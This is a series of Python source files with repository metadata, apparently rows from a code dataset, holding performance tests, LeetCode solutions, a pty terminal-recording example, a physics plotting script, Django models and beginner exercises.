# Main program
users_birth_year = get_birth_year()
print(vote(users_birth_year))
|
[
"vinicius.r.granado@gmail.com"
] |
vinicius.r.granado@gmail.com
|
cf90720c6752ac6cb6cac711bf8eec906f46ce2a
|
4b07658528a035c558a6757c31f7f864b781e8e9
|
/fluent/example-code/03-dict-set/support/container_perftest.py
|
e9fc80a4f38964d236c5231e778a8c22f743ac94
|
[
"MIT"
] |
permissive
|
ghjan/fluent-python
|
eae307c53d0382b91f2dd71f4ab1126f93d961c7
|
68e27072f43701710fc1f2e0ed69f3c558bc579b
|
refs/heads/master
| 2020-03-24T07:55:02.293996
| 2018-07-29T14:08:24
| 2018-07-29T14:08:24
| 142,570,905
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,120
|
py
|
"""
Container ``in`` operator performance test
"""
import sys
import timeit
SETUP = '''
import array
selected = array.array('d')
with open('selected.arr', 'rb') as fp:
selected.fromfile(fp, {size})
if {container_type} is dict:
haystack = dict.fromkeys(selected, 1)
else:
haystack = {container_type}(selected)
if {verbose}:
print(type(haystack), end=' ')
print('haystack: %10d' % len(haystack), end=' ')
needles = array.array('d')
with open('not_selected.arr', 'rb') as fp:
needles.fromfile(fp, 500)
needles.extend(selected[::{size}//500])
if {container_type} is set:
needles = set(needles.tolist())
if {verbose}:
print(type(needles), end=' ')
print(' needles: %10d' % len(needles), end=' ')
'''
TEST = '''
found = 0
if {container_type} is dict or {container_type} is list:
for n in needles:
if n in haystack:
found += 1
else:
found = len(needles & haystack)
if {verbose}:
print(' found: %10d' % found)
'''
def test(container_type, verbose):
MAX_EXPONENT = 7
for n in range(3, MAX_EXPONENT + 1):
size = 10 ** n
setup = SETUP.format(container_type=container_type,
size=size, verbose=verbose)
test_part = TEST.format(container_type=container_type, verbose=verbose)
tt = timeit.repeat(stmt=test_part, setup=setup, repeat=5, number=1)
print('|{:{}d}|{:f}'.format(size, MAX_EXPONENT + 1, min(tt)))
if __name__ == '__main__':
if '-v' in sys.argv:
sys.argv.remove('-v')
verbose = True
else:
verbose = False
if len(sys.argv) != 2:
print('Usage: %s <container_type>' % sys.argv[0])
else:
test(sys.argv[1], verbose)
'''
dict
| 1000|0.000137
| 10000|0.000149
| 100000|0.000284
| 1000000|0.000376
|10000000|0.000434
set
| 1000|0.000110
| 10000|0.000133
| 100000|0.000244
| 1000000|0.000348
|10000000|0.000386
list
| 1000|0.010700
| 10000|0.103838
| 100000|1.047780
| 1000000|10.561153
|10000000|105.547498
'''
|
[
"cajan2@163.com"
] |
cajan2@163.com
|
4748a443a829edd552558787816d88e5b52a9f9d
|
9047aec2400933376e71fdc24d087d2ad35b4d45
|
/minSteps_1347.py
|
770c0d81af89a4f15a52f640b29b27fbd6c500d8
|
[] |
no_license
|
sasankyadavalli/leetcode
|
a8c3a4b63970cfa67a8bbec5d1fb7cca818f7ea9
|
555931bc5a74e0031726070be90c945da9cb3251
|
refs/heads/master
| 2021-02-07T12:12:06.938562
| 2020-07-28T18:25:10
| 2020-07-28T18:25:10
| 244,024,453
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 393
|
py
|
class Solution:
def minSteps(self, s: str, t: str) -> int:
d1 = {}
steps = 0
for ele in s:
if ele in d1.keys():
d1[ele] +=1
else:
d1[ele] = 1
for i in t:
if i in d1 and d1[i] > 0:
d1[i] -= 1
else:
steps += 1
return steps
|
[
"yadavallisasank@gmail.com"
] |
yadavallisasank@gmail.com
|
8befc2b3af60d0d72bfc6445f068647e539b68e2
|
826ded51e15bf5c4e1f3a202b8f58764e56ee742
|
/virtual/bin/confusable_homoglyphs
|
1abf67144eb83ea41671d5a3125599be22e887ee
|
[] |
no_license
|
LeoAmby/webly
|
0473766476ec93f0bdb0ed09512c9045cc6948d2
|
85cf765c654324f5aea27562c3a2b90e665a88b3
|
refs/heads/master
| 2022-11-30T21:17:49.065335
| 2019-10-31T11:28:45
| 2019-10-31T11:28:45
| 216,031,732
| 0
| 0
| null | 2022-11-22T04:35:55
| 2019-10-18T13:35:48
|
Python
|
UTF-8
|
Python
| false
| false
| 303
|
#!/home/moringa/Documents/MoringaSchool-Projects/Core-Projects/Django/webly/virtual/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from confusable_homoglyphs.cli import cli
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(cli())
|
[
"leoamby@gmail.com"
] |
leoamby@gmail.com
|
|
63b0012fef513a4036e954d58f9db81a958f3b1f
|
31ab401afc2c99d85765bec73204e4009a80993d
|
/비밀지도.py
|
987f993508357810019aadf595e373fa247d045a
|
[] |
no_license
|
rheehot/Algorithm-coding_test
|
bdd700acda13ddbef2aa9c8c77d010b440c82964
|
3aca4ae1d60130515f7b9a0f85ef0625faf3c298
|
refs/heads/master
| 2023-02-20T01:21:20.015565
| 2021-01-24T03:47:45
| 2021-01-24T03:47:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 430
|
py
|
# 나의 풀이
def solution(d, budget):
cnt = 0
num = 0
if sum(d) > budget:
d = sorted(d)
for i in d:
num += i
cnt += 1
if num > int(budget):
cnt -= 1
break
return cnt
else:
return len(d)
# 다른 사람의 풀이
def solution(d, budget):
d.sort()
while budget < sum(d):
d.pop()
return len(d)
|
[
"soohyun527@gmail.com"
] |
soohyun527@gmail.com
|
c2c65dbf9cb33392837f4936001f292cac812aa8
|
09c00563e44d0e4b62449f1648ba1c595a4fa455
|
/Python_File_IO_Pty_Fork.py
|
0743c2633d406ecd6af9216f4e7743dbfc60fddf
|
[] |
no_license
|
VakinduPhilliam/Python_File_IO
|
20da71688384fe145873ae5ade064b37be6c67d6
|
016d7d6d5315def35d82354e9d46a627afa2f271
|
refs/heads/master
| 2020-05-27T17:54:15.751253
| 2019-05-26T21:31:10
| 2019-05-26T21:31:10
| 188,731,817
| 5
| 0
| null | null | null | null |
WINDOWS-1252
|
Python
| false
| false
| 1,685
|
py
|
# Python File IO
# pty — Pseudo-terminal utilities.
# The pty module defines operations for handling the pseudo-terminal concept: starting another process and being able
# to write to and read from its controlling terminal programmatically.
# pty.fork()
# Fork. Connect the child’s controlling terminal to a pseudo-terminal.
# Return value is (pid, fd). Note that the child gets pid 0, and the fd is invalid.
# The parent’s return value is the pid of the child, and fd is a file descriptor connected to the child’s controlling
# terminal (and also to the child’s standard input and output).
#
# The following program acts like the Unix command script(1), using a pseudo-terminal to record all input and output of
# a terminal session in a “typescript”.
#
import argparse
import os
import pty
import sys
import time
parser = argparse.ArgumentParser()
parser.add_argument('-a', dest='append', action='store_true')
parser.add_argument('-p', dest='use_python', action='store_true')
parser.add_argument('filename', nargs='?', default='typescript')
options = parser.parse_args()
shell = sys.executable if options.use_python else os.environ.get('SHELL', 'sh')
filename = options.filename
mode = 'ab' if options.append else 'wb'
with open(filename, mode) as script:
def read(fd):
data = os.read(fd, 1024)
script.write(data)
return data
print('Script started, file is', filename)
script.write(('Script started on %s\n' % time.asctime()).encode())
pty.spawn(shell, read)
script.write(('Script done on %s\n' % time.asctime()).encode())
print('Script done, file is', filename)
|
[
"noreply@github.com"
] |
VakinduPhilliam.noreply@github.com
|
ad214cee844e8e823915ece27cc7713e3373e328
|
5a07828016e8bafbea5dac8f83c8bfd5d0bfd603
|
/py_93w93/140318_eiz.py
|
44744b47e9e56314ce840f16e1483c47051102c8
|
[] |
no_license
|
JJHopkins/rajter_compare
|
db5b88d2c6c1efc0fead9b6ed40fb3cce36bedb4
|
2ba52f4f16cf2aca350a82ea58d0aa8f8866c47c
|
refs/heads/master
| 2020-06-04T23:53:57.089329
| 2014-04-08T18:02:30
| 2014-04-08T18:02:30
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,210
|
py
|
#!/usr/bin/python
import matplotlib
#import pyreport
import numpy as np
from pylab import *
#from pylab import show
from matplotlib import pyplot as pl
x_x,y_x_unsc = np.loadtxt('data/CNT9_3_xe2_solid_30.txt',unpack=True, usecols = [0,1])
x_z,y_z_unsc = np.loadtxt('data/CNT9_3_ze2_solid_30.txt',unpack=True, usecols = [0,1])
x_w,y_w = np.loadtxt('data/water-L.txt',unpack=True, usecols = [0,1])
y_x = y_x_unsc*1.#4.949
y_z = y_z_unsc*1.#4.949
def Aiz(perp, par,med):
return (2.0*(perp-med)*med)/((perp+med)*(par-med))
## DEFINE FUNCTIONS FOR CALCULATING e(iz)
#-------------------------------------------------------------
# Matsubara frequencies: z_n at room temp is (2pikbT/hbar)*n (ie coeff*n)
coeff = 0.159 # in eV #(2.41*1e14) # in rad/s
#coeff = 2.41e14 # in (1 rad)*(1/s)=inverse seconds
T = 297.0
#kb_J = 1.3806488e-23 # in J/K
#hbar = 6.625e-34 # in J/s
#coeff_J = 2.0*np.pi*kb_J*T/hbar#1.602e-19*0.159e15 # in eV #(2.41*1e14) # in rad/s
n = arange(0,500)
z = n * coeff
#coeff_J = 1.602e-19*0.159e15 # in eV #(2.41*1e14) # in rad/s
#z = n * coeff
#z = n * coeff_J
eiz_x = empty(len(z))
eiz_z = empty(len(z))
eiz_w = empty(len(z))
eiz_x_arg=empty(len(x_x))
eiz_z_arg=empty(len(x_z))
eiz_w_arg=empty(len(x_w))
for j in range(len(z)):
for i in range(len(x_x)):
eiz_x_arg[i]=x_x[i]*y_x[i] / (x_x[i]**2 + z[j]**2)
eiz_x[j] = 1 + (2./pi) * trapz(eiz_x_arg,x_x)
for m in range(len(x_z)):
eiz_z_arg[m]=x_z[m]*y_z[m] / (x_z[m]**2 + z[j]**2)
eiz_z[j] = 1 + (2./pi) * trapz(eiz_z_arg,x_z)
for p in range(len(x_w)):
eiz_w_arg[p]=x_w[p]*y_w[p] / (x_w[p]**2 + z[j]**2)
eiz_w[j] = 1 + (2./pi) * trapz(eiz_w_arg,x_w)
#
savetxt("data/eiz_x_output_eV.txt", eiz_x)
savetxt("data/eiz_z_output_eV.txt", eiz_z)
savetxt("data/eiz_w_output_eV.txt", eiz_w)
a = Aiz(eiz_x,eiz_z,eiz_w)
pl.figure()
pl.plot(x_x,y_x, color = 'b', label = r'$\varepsilon^{\prime\prime}_\hat{x}(\omega)$')
pl.plot(x_z,y_z, color = 'r', label = r'$\varepsilon^{\prime\prime}_\hat{z}(\omega)$')
pl.plot(x_z,y_z, color = 'r', label = r'$first\,peak:\,\,%6.2f$'%max(y_z))
pl.plot(x_w,y_w, color = 'c', label = r'$\varepsilon^{\prime\prime}_{H_{2}O}(\omega)$')
pl.axis([0,35,0,25])
pl.xlabel(r'$\hbar\omega\,\,\,[eV]$', size = 24)
pl.ylabel(r'$\varepsilon^{\prime\prime}(\omega)$', size = 24)
pl.legend()
pl.title(r'[9,3] and water eps2')
pl.savefig('plots/93w93_eps2.pdf')
pl.show()
#
fig = pl.figure()
ax = fig.add_axes([0.1,0.1,0.8,0.8])
ax.plot(n,eiz_x, color = 'b', label = r'$\varepsilon_{\hat{x}}(i\zeta_{N})$')
ax.plot(n,eiz_z, color = 'r', label = r'$\varepsilon_{\hat{z}}(i\zeta_{n})$')
ax.plot(n,eiz_z, color = 'r', label = r'$max\,%6.2f$'%max(eiz_z))
ax.plot(n,eiz_w, color = 'c', label = r'$\varepsilon_{\hat{w}}(i\zeta_{n})$')
pl.axis([0,500,0,10])
pl.xlabel(r'$N$', size = 24)
pl.ylabel(r'$\varepsilon(i\zeta)$', size = 24)
#pl.legend()
pl.title(r'[9,3] and water eiz')
ax_inset = fig.add_axes([0.53,0.50,0.36,0.36])
ax_inset.plot(n, a,'k-.', linewidth = 2)#,label=r'$a(i\xi_{N})$')
pl.tick_params(labelsize = 'small')
pl.xlabel(r'$N$', size = 14)
pl.ylabel(r'$a(i\xi)$', size = 14)
pl.savefig('plots/93w93_eiz.pdf')
pl.show()
|
[
"hopkins.jaime@gmail.com"
] |
hopkins.jaime@gmail.com
|
14476f6a4599c9269c4a8e5b073ec545726b44d2
|
2635edb96afa8117d4584a470061e447b79adc6e
|
/life/models.py
|
37074983630a300a534a3e96598353345abd2c40
|
[] |
no_license
|
Mark-Seaman/Sensei-2018
|
673609731ecb5ebb782dab94b2cf3d7c22940424
|
06b02892cfe1bf1d25cb4224e86eb693c82b0f29
|
refs/heads/master
| 2022-02-18T19:14:10.343093
| 2022-01-15T20:06:21
| 2022-01-15T20:06:21
| 158,728,468
| 0
| 0
| null | 2022-01-16T21:06:09
| 2018-11-22T16:51:55
|
HTML
|
UTF-8
|
Python
| false
| false
| 1,045
|
py
|
from __future__ import unicode_literals
from django.db import models
class Year(models.Model):
age = models.IntegerField()
contribute = models.TextField()
relate = models.TextField()
learn = models.TextField()
enjoy = models.TextField()
def __unicode__(self):
return str(self.age)
class Aspect(models.Model):
name = models.CharField(max_length=100)
def __unicode__(self):
return str(self.name)
class Experience(models.Model):
age = models.IntegerField(editable=False)
aspect = models.ForeignKey(Aspect, on_delete=models.CASCADE, editable=False)
summary = models.TextField()
def __unicode__(self):
return "age %s - %s" % (self.age, self.aspect.name)
def get_absolute_url(self):
return '/life/year/%s' % self.age
def initialize():
Aspect.objects.create(name='Contribute')
Aspect.objects.create(name='Relate')
Aspect.objects.create(name='Learn')
Aspect.objects.create(name='Enjoy')
for a in Aspect.objects.all():
print(a)
|
[
"Mark.Seaman@imac.net"
] |
Mark.Seaman@imac.net
|
b1adf4597ffc1d7b98b6e5894e2b69610f88ec25
|
de33091037128fe3feb5a6dad28be5b72aed86a0
|
/g4g/Amazon/Easy/greater-on-right-side.py
|
ec15ed83e0616ea9bf406e0ca8fc1d1f4914e3e2
|
[] |
no_license
|
khannasarthak/codingPrep
|
78fbf089c6f095f7ec8a5f5d9998593aea2942fe
|
2b638ab284bf9fefa2259fd7aa4ca3905438b7ab
|
refs/heads/master
| 2021-01-12T02:58:04.236524
| 2018-11-07T06:03:37
| 2018-11-07T06:03:37
| 78,140,645
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 463
|
py
|
# USING MAX
t = int(input())
for p in (range(t)):
n = int(input())
a = list(map(int,input().split()))
op = []
for i in range(len(a)-1):
op.append(max(a[i+1:]))
op.append(-1)
print (*op)
# SECOND SOLUTION WITHOUT MAX
t = int(input())
for p in (range(t)):
n = int(input())
a = list(map(int,input().split()))
l = len(a)
op = []
maxr = a[-1]
for i in range(l-2,-1,-1):
tmp = a[i]
a[i] = maxr
if maxr<tmp:
maxr = tmp
a[-1] = -1
print (*a)
|
[
"khannasarthak.1994@gmail.com"
] |
khannasarthak.1994@gmail.com
|
f8e843416fa7b2feb722ee1f940bc09e65143ea4
|
4e8dc479fbf28d34fa1678c14ef02f3aca31d46a
|
/Arrays_and_Strings.md/String_Compression(1).py
|
c52c58b4f06b85ecece2fd1f1664495ef14b09a1
|
[] |
no_license
|
fagan2888/Leetcode-2
|
b0ace8e0695875bdcd61acdec33c45b5d1d52247
|
4175d14985172eabee0a49a821eaeaf57a5b6593
|
refs/heads/master
| 2020-12-02T23:08:23.519672
| 2019-02-06T22:20:03
| 2019-02-06T22:20:03
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 337
|
py
|
# coding: utf-8
# In[3]:
def compressed(s):
count=1
new=[]
for i in range(len(s)-1):
if(s[i]==s[i+1]):
count+=1
else:
new.extend([s[i],str(count)])
count=1
return ''.join(new)
st=input('Enter string: ')
print('Compressed string is: ',compressed(st))
|
[
"noreply@github.com"
] |
fagan2888.noreply@github.com
|
fb4a313bf56af0e92e006eb7f102755ba3bcbf98
|
bdf3879b183611fef4239ece505f9f9a05fe49aa
|
/work/work1.py
|
20963567d8a0b4d994237ce241bccfbf6f749825
|
[] |
no_license
|
Prabithapallat01/pythondjangoluminar
|
9578fccd1628ed0810000cbec1ab97ac8d931bf9
|
3248939c0d454084326f9694ecb3094f599c0b6b
|
refs/heads/master
| 2023-03-20T10:22:54.524782
| 2021-03-10T08:43:01
| 2021-03-10T08:43:01
| 327,939,255
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,044
|
py
|
# # [1,2,3,4,5,6] [4,5,6,1,2,3]
# #lst=[1,2,3,4,5,6]
# def leftRotate(lst, d, n):
# for i in range(d):
# leftRotatebyOne(lst, n)
#
#
# # Function to left Rotate arr[] of size n by 1*/
# def leftRotatebyOne(lst, n):
# temp = lst[0]
# for i in range(n - 1):
# lst[i] = lst[i + 1]
# lst[n - 1] = temp
#
#
# # utility function to print an array */
# def printlist(lst, size):
# for i in range(size):
# print("% d" % lst[i], end=" ")
#
#
# # Driver program to test above functions */
# lst= [1, 2, 3, 4, 5, 6, ]
# leftRotate(lst, 3, 6)
# printlist(lst,6)
lst=[1,2,3,4,5,6]
print("Before Rotation:",lst)
d=3
n=6
def rotation(lst,d):
for i in range(0,d):
temp=lst[0] #TEMP=1
for j in range(0,n-1): #((0,5)j=0, j=1 j=2 j=3 j=4
lst[j]=lst[j+1] # lst[0]=lst[1], lst[0]=2 lst[1]=3 lst[2]=4 lst[3]=5 lst[4]=6
lst[n-1]=temp
return lst
rotatedlist=rotation(lst,d)
print("Before Rotation:",rotatedlist)
|
[
"prabidas01@gmail.com"
] |
prabidas01@gmail.com
|
3c42675b2801430204bd563ea33ea0d5e27554ea
|
a9ca47eddea033e7d3ea530ee62dc3c70c07702e
|
/leet_code717.py
|
86293c99210bdf282c0023bf9c2d4ddcf4177cab
|
[] |
no_license
|
tejamupparaju/LeetCode_Python
|
94d5eb80ea038dfdfc6ce5e8d833af9404215f01
|
6e4894c2d80413b13dc247d1783afd709ad984c8
|
refs/heads/master
| 2021-01-22T05:33:58.443569
| 2018-11-05T18:00:42
| 2018-11-05T18:00:42
| 81,676,499
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,270
|
py
|
"""
717. 1-bit and 2-bit Characters
We have two special characters. The first character can be represented by one bit 0. The second character can be represented by two bits (10 or 11).
Now given a string represented by several bits. Return whether the last character must be a one-bit character or not. The given string will always end with a zero.
Example 1:
Input:
bits = [1, 0, 0]
Output: True
Explanation:
The only way to decode it is two-bit character and one-bit character. So the last character is one-bit character.
Example 2:
Input:
bits = [1, 1, 1, 0]
Output: False
Explanation:
The only way to decode it is two-bit character and two-bit character. So the last character is NOT one-bit character.
Note:
1 <= len(bits) <= 1000.
bits[i] is always 0 or 1.
Companies
Quora
"""
# MOWN
# everytime we hit 1 we update a flag
class Solution(object):
def isOneBitCharacter(self, bits):
"""
:type bits: List[int]
:rtype: bool
"""
result = two = False
for num in bits:
if not two:
if num == 0:
result = True
else:
two = True
result = False
else:
two = False
return result
|
[
"tejaswi.mupparaju@quanergy.com"
] |
tejaswi.mupparaju@quanergy.com
|
8f9f30d6831cde1e4fcbf7f239ea70d1b594ea72
|
d554b1aa8b70fddf81da8988b4aaa43788fede88
|
/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/224/users/4378/codes/1734_2506.py
|
469f436519bd3fef7d7fc8e98ac992cba7f1f7a7
|
[] |
no_license
|
JosephLevinthal/Research-projects
|
a3bc3ca3b09faad16f5cce5949a2279cf14742ba
|
60d5fd6eb864a5181f4321e7a992812f3c2139f9
|
refs/heads/master
| 2022-07-31T06:43:02.686109
| 2020-05-23T00:24:26
| 2020-05-23T00:24:26
| 266,199,309
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 343
|
py
|
q_inicial=int(input("quantidade inicial: "))
perc=float(input("percentual de crescimento: "))
quant=int(input("quantidade de pirarucus retirados: "))
perc=perc/100
t=0
while(0<=q_inicial <=12000):
q_inicial=(q_inicial+q_inicial*perc)-quant
t=t+1
if(q_inicial<=0):
print("EXTINCAO")
print(t)
if(q_inicial>=12000):
print("LIMITE")
print(t)
|
[
"jvlo@icomp.ufam.edu.br"
] |
jvlo@icomp.ufam.edu.br
|
461f66f089b405e1c9d10bf004d48db54981b2e5
|
4ca44b7bdb470fcbbd60c2868706dbd42b1984c9
|
/21.05.09/SWEA_1208.py
|
739beb273d68e6696bc62fdfc2ef56bb16859b3f
|
[] |
no_license
|
titiman1013/Algorithm
|
3b3d14b3e2f0cbc4859029eb73ad959ec8778629
|
8a67e36931c42422779a4c90859b665ee468255b
|
refs/heads/master
| 2023-06-29T17:04:40.015311
| 2021-07-06T01:37:29
| 2021-07-06T01:37:29
| 242,510,483
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 351
|
py
|
import sys; sys.stdin = open('1208.txt', 'r')
for tc in range(1, 11):
N = int(input())
arr = list(map(int, input().split()))
for i in range(N):
if arr.count(max(arr)) >= len(arr) - 1: break
arr[arr.index(max(arr))] -= 1
arr[arr.index(min(arr))] += 1
answer = max(arr) - min(arr)
print(f'#{tc} {answer}')
|
[
"hyunsukr1013@gmail.com"
] |
hyunsukr1013@gmail.com
|
f6c50cffa088f6323d15a6017b52e49948b80c58
|
00c9022edb984b68f0a6b1df9ba15d62d79ec62e
|
/src/chapter3/exercise7.py
|
674b706737ef6f39bf866101b9d8972467bc2342
|
[
"MIT"
] |
permissive
|
Group3BCS1/BCS-2021
|
c037bcc86193ac1c773fc9d402ef9d95a4d1276d
|
b8ee8f900e3fd23822844e10fb2c6475a4f3400a
|
refs/heads/main
| 2023-06-03T08:19:24.035239
| 2021-06-18T07:42:49
| 2021-06-18T07:42:49
| 349,341,077
| 0
| 2
|
MIT
| 2021-03-19T07:45:39
| 2021-03-19T07:45:38
| null |
UTF-8
|
Python
| false
| false
| 863
|
py
|
try:
location = input("enter location: ")
location = location.upper() # this converts the user's string to uppercase
pay = float(input('enter pay: '))
if location == 'MBARARA' and pay > 4000000:
print('I WILL TAKE THE JOB')
elif location == 'MBARARA' and pay <= 4000000:
print('SORRY, I CAN NOT WORK FOR THAT')
elif location == 'KAMPALA' and pay > 10000000:
print('I WILL DEFINITELY WORK')
elif location == 'KAMPALA' and pay <= 10000000:
print('NO WAY !')
elif location == 'SPACE' and pay >= 0:
print('WITHOUT DOUBT, I WILL TAKE IT')
elif pay >= 6000000: # x==other districts and y>=6000000
print('I will surely work')
else:
print('No thanks, I can find something better')
except:
print('invalid entry') # this is printed when the user enters an invalid input
|
[
"you@example.com"
] |
you@example.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.